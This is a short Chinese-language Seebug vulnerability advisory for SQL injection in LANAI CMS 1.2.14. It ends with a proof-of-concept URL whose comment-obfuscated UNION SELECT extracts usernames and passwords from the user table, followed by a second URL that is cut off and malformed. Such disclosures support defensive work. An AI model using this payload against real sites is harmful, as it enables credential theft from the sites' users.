LANAI CMS SQL注入漏洞

2007-08-0800:00:00

Root

www.seebug.org

JSON

BUGTRAQ ID: 25193
CNCAN ID:CNCAN-2007080604

LANAI CMS是一款基于PHP的WEB应用程序。
LANAI CMS不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。
问题是多个脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。

RedLine Software LANAI CMS 1.2.14
<a href=“http://la-nai.sourceforge.net/” target=“_blank”>http://la-nai.sourceforge.net/</a>


                                                http://www.example.com/module.php?modname=faq&amp;mf=faqviewgroup&amp;mid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,userLogin,userPassword,5,6,7/**/FROM/**/tbl_ln_user/*
http://http://www.example.com/module.php?modname=ezshopingcart&amp

JSON